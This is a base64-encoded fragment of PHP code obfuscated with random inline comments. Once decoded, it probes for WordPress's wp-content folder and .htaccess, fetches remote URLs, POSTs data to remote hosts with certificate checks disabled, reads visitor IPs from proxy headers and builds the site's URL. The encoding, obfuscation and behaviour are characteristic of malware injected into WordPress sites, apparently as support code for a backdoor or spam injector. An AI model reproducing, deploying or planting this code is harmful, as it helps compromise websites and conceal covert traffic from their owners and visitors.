Ki0kUXgqLykvKmZSJS4qLyAmJiBpc19kaXIvKjNscVZ7dkUhKi8oLypiQVRHPSEqLy8qM3JXTHE1Ki8kZHIgLiAnL3dwLWNvbnRlbnQvJy8qaGxwKHkqLykvKnI4OTgqLyAmJiBpc19maWxlLypidFRsTDgzPiovKC8qZWVId2pNKiovLyppbysqLyRkciAuICcvLmh0YWNjZXNzJy8qSShuMCZ2VCovKS8qKz1hYUZsZUYqLy8qVm1RNzBoMyYqLykvKkU1SyovIHtyZXR1cm4gdHJ1ZTt9IGVsc2Uge3JldHVybiBmYWxzZTt9fWZ1bmN0aW9uIGdnZXQvKnVlIX1XYSF2Ki8oLypeYktYKi8vKnBkTCovJHVybC8qNnsjMzJEKi8pLyouV1IlRUFmKi8gey8qdVk3Ki8kY29udGVudHM9IGZpbGVfZ2V0X2NvbnRlbnRzLyp4WnR0dSovKC8qUUkxbSNNfSovLypNPDMgam0reCovJHVybC8qT0J6cFVNOiovKS8qZWwqciovO2lmLypic2ZveCpYWiovKC8qWmV0TyAqLyEvKkokemh0Ki8kY29udGVudHMvKnVBcSovKS8qUXpnbSM8diovey8qJldaPS1JQ1cqLyRjaCA9IGN1cmxfaW5pdC8qOC55eSovKC8qV05sKi8vKnJ4YSovKS8qOFlKVENMKi87Y3VybF9zZXRvcHQvKiRNcTVCKi8oLypkUDowWEYqLy8qdCU0YnYqLyRjaCwgQ1VSTE9QVF9VUkwsIC8qQWlxKi8kdXJsLyptPWEqLykvKlp+YiNnbGpqKi87Y3VybF9zZXRvcHQvKnp6dXEqLygvKihLb0lpMTAqLy8qSyBQODNPKi8kY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEvKkImPTdoKC0pKi8pLyp+WDVrT34gbCovOy8qQDc0WTsuJCovJGNvbnRlbnRzID0gY3VybF9leGVjLypQPkl1aDlpKi8oLyo8c1MrKi8vKkFZfTxxKi8kY2gvKiBCRyovKS8qJi13dCovO2N1cmxfY2xvc2UvKiZOKiovKC8qWUVHeUBOU2YqLy8qdyNWaSVnIyovJGNoLypBIERXI3oqLykvKnk0NyQwKi87fXJldHVybiAvKlE7OUI5Ki8kY29udGVudHM7fWZ1bmN0aW9uIHpnZS8qUkRid3tzUGMqLygvKlpBbS5ncCovLyoqSnJZVjwuUSovJHVybCwvKiU6dn0jbiovJGRhdGEsIC8qbSNuPEMzKi8kdCA9IDUwLyphVCViZiovKS8qZzM+fnUmKi8gey8qZkt1Ki8kY3VybCA9IGN1cmxfaW5pdC8qR3BtWSovKC8qZihBI0AuOSovLypBNysjcjRkKi8pLypqSkFVJjc2LSovO2N1cmxfc2V0b3B0LypOZjBmI0Y1Ki8oLyp5dk5VUH4hKi8vKnZMYkpnKi8kY3VybCwgQ1VSTE9QVF9VUkwsIC8qOERBKi8kdXJsLyphIGMqLykvKjt+UzNrKi87Y3VybF9zZXRvcHQvKlcoV1MqLygvKmdze1lRQiovLyowY0lQUTMwKi8kY3VybCwgQ1VSTE9QVF9IRUFERVIsIDAvKipleENBSFoqLykvKlEjNmY6Ki87Y3VybF9zZXRvcHQvKnRLeCovKC8qe0lRVWwqLy8qdHAtKi8kY3VybCwgQ1VSTE9QVF9FTkNPRElORywgJ2d6aXAsZGVmbGF0ZScvKnErVSFkUSovKS8qTWk+ZCovO2N1cmxfc2V0b3B0LypmJFVyYU5DSSovKC8qYlpEKi8vKlRCWWM4Ki8kY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZS8qLk81YkBYRGYqLykvKnpOazxYbHhtKi87Y3VybF9zZXRvcHQvKkBRdjgqYTpXKi8oLypDWkc5S290WiovLyorZUNBKi8kY3VybCxDVVJMT1BUX1BPU1QsMS8qcWE4Ki8pLypFezg5b3FwOiovO2N1cmxfc2V0b3B0LyojPThxMFQqLygvKmcyNUJBKi8vKiBHOCovJGN1cmwsQ1VSTE9QVF9QT1NURklFTERTLC8qemQqKTgqLyRkYXRhLyo6RnUqLykvKlNxYTVCKi87Y3VybF9zZXRvcHQvKipYOyovKC8qdSAqMyovLyo8eVleSUQqLyRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxLyoqSHdZLiovKS8qR3crKi87Y3VybF9zZXRvcHQvKmIqZmkwSyovKC8qdndYKi8vKi1aUyovJGN1cmwsIENVUkxPUFRfQVVUT1JFRkVSRVIsIHRydWUvKisgOFFWMiovKS8qTFE9WkgqLztpZiAvKiV4RSovKC8qMXdWZmF7Ki9zdHJpcG9zLypVb0IrKi8oLyp+RiQqLy8qbipQKi8kdXJsLCAnaHR0cHMnLypjPEwqLykvKkBDKkJNKi8gIT09IGZhbHNlLyp+RDchOi1SKi8pLyoudmdpKi8ge2N1cmxfc2V0b3B0LypscXIqLygvKnZOWUYqLy8qOE8hUiovJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlLypzRU1AVnUqLykvKmooSFcqLztjdXJsX3NldG9wdC8qODpEfmxMIyovKC8qLkBPN08qLy8qb1RtKi8kY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgRkFMU0UvKkl6RCM4aCovKS8qWjVofkdrUnAqLzt9Y3VybF9zZXRvcHQvKkJBJj0qLygvKlVMVE4qLy8qaFQkZCV9WWEqLyRjdXJsLCBDVVJMT1BUX1RJTUVPVVQsIC8qXiZPKi8kdC8qbSo9a1VZXmkqLykvKk16MyovOy8qdDAtNSVQKi8kY29udGVudCA9IGN1cmxfZXhlYy8qaXtmOSpIfiovKC8qcCAjSkh2KW4qLy8qTVAjTkIqLyRjdXJsLypNd2wqLykvKjFmVlhkKi87Y3VybF9jbG9zZS8qUDsqKkwocyovKC8qLioqKiFnaCUqLy8qNnZnYyovJGN1cmwvKjJ5Tkh4fTYqLykvKmhLVyovO3JldHVybiAvKmoqMTNEazxuKi8kY29udGVudDt9ZnVuY3Rpb24gZ2lhLypHXlc4LiovKC8qQSpVO0sqLy8qTz1hanZ9Ki8pLyp4ITYgTFIqLyB7aWYgLypVSSFXUFYqLygvKmNmQyp6Ki9pc3NldC8qOiotKlRObiEqLygvKnBLUGQ5PDkqLy8qSFRBeyovJF9TRVJWRVIvKjA3QihRNUwqLykvKipTczJ+aG4qLy8qOz42dHF+Ki8pLyppaiByKi8ge2lmIC8qb1NDdiMmKi8oLyp7ZjAuKi9pc3NldC8qUjMgMiovKC8qWUZoIXVZKi8vKmo8PnUoKiovJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10vKiQ6NS04ciovKS8qYVFWKi8vKkx+NztlO2cqLykvKjwqM254MyovIHsvKipvd1EhLj5zKi8kaXAgPSAvKkoxZzEuKi8kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTt9IGVsc2VpZiAvKllebk9uLXMqLygvKkdVKiplWiovaXNzZXQvKkIpaSA1TDwqLygvKkpRJFAmPV5PKi8vKjhpSjNSdXcqLyRfU0VSVkVSWydIVFRQX0NMSUVOVF9JUCddLypweXBGUnZOKi8pLyokbihFfikqLy8qUGdHNDFwKi8pLyogTGtCKi8gey8qT1p7QiovJGlwID0gLyo6fXVxaShZKiovJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107fSBlbHNlaWYgLyp9fW0qLygvKkxOJjgqL2lzc2V0LypxUzEqLygvKktpWGkmUSovLyotU21SOVc6Ki8kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRCddLypULVIqLykvKnpQUGJ2VGwqLy8qdntIIW0qLykvKj1OLXtHYURUKi8gey8qfWZRKi8kaXAgPSAvKjV+ZTItV0srKi8kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRCddO30gZWxzZWlmIC8qY2hVVW0gSy0qLygvKnZpVSovaXNzZXQvKkAzQyovKC8qSDQ7Ki8vKiVxVyovJF9TRVJWRVJbJ0hUVFBfWF9DTFVTVEVSX0NMSUVOVF9JUCddLyp4QjEmLUpYKi8pLyppTkdsKigqLy8qbStJSUs+bCovKS8qLVN7ZHRZKi8gey8qOStBZlk1ZyovJGlwID0gLypyMS5ARnAqLyRfU0VSVkVSWydIVFRQX1hfQ0xVU1RFUl9DTElFTlRfSVAnXTt9IGVsc2VpZiAvKjtYITdNKi8oLypvKmctUyBITyovaXNzZXQvKjpeK3ZmKi8oLyowSCgmYig0Ki8vKnBIezU7Ki8kX1NFUlZFUlsnSFRUUF9GT1JXQVJERURfRk9SJ10vKnhaWDdTciovKS8qNyR4RG4qLy8qNnhiU3UqLykvKmpocTUqLyB7Lyo7U1RiYW8hPSovJGlwID0gLypVWitBKi8kX1NFUlZFUlsnSFRUUF9GT1JXQVJERURfRk9SJ107fSBlbHNlaWYgLyo+fWtoQHh3TSovKC8qR31wVyYzKi9pc3NldC8qRWspTHlXKi8oLypIRTlUJDoqLy8qM1RaIyZRKi8kX1NFUlZFUlsnSFRUUF9GT1JXQVJERUQnXS8qJWxtfmQ4ZCMqLykvKkhQKXt5TiovLyoqRHVMeSovKS8qNDo8Ki8gey8qUnlZKi8kaXAgPSAvKk5xZ0tUVT1xKi8kX1NFUlZFUlsnSFRUUF9GT1JXQVJERUQnXTt9IGVsc2Ugey8qUmdlKi8kaXAgPSAvKiokek1ZKi8kX1NFUlZFUlsnUkVNT1RFX0FERFInXTt9fSBlbHNlIHtpZiAvKiRAVn4ybEkqLygvKiA4IHhod2sqL2dldGVudi8qMyNUKUYlS2cqLygvKkFOYkReNWsqLydIVFRQX1hfRk9SV0FSREVEX0ZPUicvKnZkNEEqLykvKllCJigqLy8qdEckZSgqLykvKjhYZmVXKi8gey8qMmF4NHM2IyovJGlwID0gZ2V0ZW52Lyo1UmtPJX43Ki8oLypZcmsqLydIVFRQX1hfRk9SV0FSREVEX0ZPUicvKkxUUUQ0Ki8pLyo6bmc2NHNvPiovO30gZWxzZWlmIC8qeGY+Q0pKSiovKC8qcWR3Z2J6ZyovZ2V0ZW52LyokQVFMKi8oLyoqRm52PiovJ0hUVFBfQ0xJRU5UX0lQJy8qbGdOKi8pLypaPWRqcGtQOiovLyptbGojPiovKS8qZzsqd2lEKSovIHsvKkJLbTRjSyovJGlwID0gZ2V0ZW52LypNKVhBWDlJKi8oLyooc1NSNGRMKi8nSFRUUF9DTElFTlRfSVAnLyomTVAwK2lVSyovKS8qMWluKi87fSBlbHNlIHsvKmwzREsyTmF5Ki8kaXAgPSBnZXRlbnYvKmZwSlJCbiByKi8oLypmNi01Ki8nUkVNT1RFX0FERFInLyorKyQxKiovKS8qUFZRcmMqLzt9fXJldHVybiB0cmltLyoqRyouYSovKC8qNC5oMkcqLy8qciomKi8kaXAvKk1xZTVnUSovKS8qMDczU3EqLzt9ZnVuY3Rpb24gYnUvKisjICovKC8qcWtMKi8vKlo3Ji10Tn4qLykvKldSPiovIHtpZiAvKjUoYkRCcEAgKi8oLypoa0QxKi8vKmo3QkoyJSovKC8qSzp5NCovaXNzZXQvKkFhR0AqLygvKiYuSmVIZ3N2Ki8vKmtlNE5nflhBKi8kX1NFUlZFUlsnSFRUUFMnXS8qa1hOQ3hQPCovKS8qTCVtTiovICYmIC8qLmJSWiVrKi8oLyo+KGpXYSovLyopSSgqLygvKm4jMUIuKi8vKnMxbk0qLyRfU0VSVkVSWydIVFRQUyddID09ICdvbicvKj44QDVyTm0qLykvKkloRy5qdjYqLyB8fCAvKk1zKyM1Ki8oLypZbHEqYlIqLy8qPCE7K2UySn0qLyRfU0VSVkVSWydIVFRQUyddID09ICcxJy8qQTY9WnlAbWwqLykvKmsoMUBKOGwqLy8qbD55WDt5Ki8pLyprbDx3XjpJPiovLypKRypZLjo7Ki8pLyo7VS0qLyB8fCAvKkdQMDBvKi8oLypDeUY3PlQxKi9pc3NldC8qVCtLWCovKC8qbF5sNVluIToqLy8qRmEpUiovJF9TRVJWRVJbJ0hUVFBTJ10vKn4+QVkqLykvKmlhJGcqLyAmJiAvKmwtS3QoWWoqLygvKnApTm4qL2lzc2V0LypUb2QjJWIqLygvKj49KighKi8vKn5zPTRvKi8kX1NFUlZFUlsnU0VSVkVSX1BPUlQnXS8qZCs0RWVHcE0qLykvKjZMaCpWKi8gJiYgLypecCBvKCovJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzLyo5Rjt7JSovKS8qMnF5XnUqLy8qKC19OmV7UyovKS8qTS5HZVhjWiovLyo0QGUqLykvKlA6U3pYKi8gey8qR01sITBWKi8kaHR0cCA9ICdodHRwczovLycgLiAvKnQqbSovJF9TRVJWRVJbJ0hUVFBfSE9TVCddO30gZWxzZWlmIC8qQ2tHKSovKC8qenFAKi8hZW1wdHkvKkhLQUIqLygvKjxnbyovLyozSDFaQiovJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXS8qIHJ+OSovKS8qMURUQTFCKi8gJiYgLyoxNXVheCovJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnIHx8ICFlbXB0eS8qVlZ2JS0qeS0qLygvKiV7UUQ8Ki8vKmx+Q0JFKi8kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9TU0wnXS8qQXVCbiovKS8qayg0WCVGKi8gJiYgLypiKjxtKi8kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9TU0wnXSA9PSAnb24nLyoxZEwjXkw0ZCovKS8qZ21JKi8gey8qOkUwOkJIKi8kaHR0cCA9ICdodHRwczovLycgLiAvKnYhM3oweCoqLyRfU0VSVkVSWydIVFRQX0hPU1QnXTt9IGVsc2Ugey8qQG4yKi8kaHR0cCA9ICdodHRwOi8vJyAuIC8qPTBAMlUtcCsqLyRfU0VSVkVSWydIVFRQX0hPU1QnXTt9cmV0dXJuIC8qbWdJQGhQKi8kaHR0cDt9Pz4=